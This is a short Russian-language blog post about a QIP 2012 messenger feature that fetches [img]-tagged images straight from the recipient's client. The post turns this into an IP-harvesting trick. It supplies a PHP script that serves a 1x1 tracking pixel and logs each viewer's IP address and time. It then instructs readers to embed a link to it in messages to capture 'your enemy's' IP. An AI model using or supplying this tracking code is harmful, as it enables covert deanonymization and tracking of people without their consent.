Pull to refresh

QIP 2012: Удобная функция или уязвимость

image

Думаю всем известен сервис мнговенных сообщений — QIP. По статистике в России и СНГ более 70% пользователей ICQ используют именно его, так как QIP удобен интеграциями с многими сервисами,
а так же имеет важную деталь — менее ресурсоёмкий ежели оффициальное приложение ICQ. С выходом QIP 2012 появилась возможность указывать теги [img][/img] Изображение автоматически
откроется в окне сообщений. Как не странно, изображение идёт сразу к клиенту, не проходя через сервер. Таким образом, можно определить ip адрес твоего собеседника.Приведу пример кода
на языке программирования PHP c использованием библиотеки GD.
<?php

$im = imageCreate(1,1); // Создаём изображение размером 1x1 px

$color = imageColorAllocate($im,255,255,255); 
imageString($im,3,1,1,null,$color); // Делаем вид заполнения изображения

add_logs('log.txt'); // Записываем информацию 

Header("Content-type: image/png"); // Передаём браузере информацию, что перед нами изображение
imagePng($im); // Выводим изображение
imageDestroy($im); // Разрушаем

function add_logs($file)
{
error_reporting(0); // Выключаем анализатор ошибок на случай отсутсвия файла
$string = '-------- ' . PHP_EOL . ' IP = ' . $_SERVER['REMOTE_ADDR'] . ' TIME = '. time() .'' . PHP_EOL; // Генерируем вид строки для записи
file_put_contents($file, $string);
}

?>

Вот пример, как можно получить ip адрес вашего недруга. Нужно просто вписать в конце вашего предложения: [img]http://yoururl.com/img.php[/img]
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.